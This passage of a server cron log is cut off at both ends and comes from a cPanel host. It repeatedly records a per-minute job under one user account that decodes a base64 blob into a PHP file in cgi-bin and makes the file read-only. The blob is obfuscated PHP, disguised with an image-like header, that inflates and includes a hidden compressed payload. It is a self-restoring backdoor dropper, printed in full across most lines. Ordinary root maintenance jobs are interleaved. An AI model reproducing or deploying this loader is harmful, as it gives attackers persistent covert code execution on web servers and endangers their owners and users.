"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:03:01 server CROND[4847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:04:01 server CROND[4993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:05:01 server CROND[5046]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 13 01:05:01 server CROND[5045]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 01:05:01 server CROND[5047]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 01:05:01 server CROND[5048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:06:01 server CROND[5145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:07:01 server CROND[5193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:08:01 server CROND[5238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:09:01 server CROND[5379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:09:01 server CROND[5380]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 13 01:10:01 server CROND[5431]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 01:10:01 server CROND[5434]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 01:10:01 server CROND[5433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:10:01 server CROND[5432]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 01:11:01 server CROND[5545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:12:01 server CROND[5595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:12:01 server CROND[5596]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 13 01:13:01 server CROND[5653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:14:01 server CROND[5836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:15:01 server CROND[5881]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 01:15:01 server CROND[5882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqB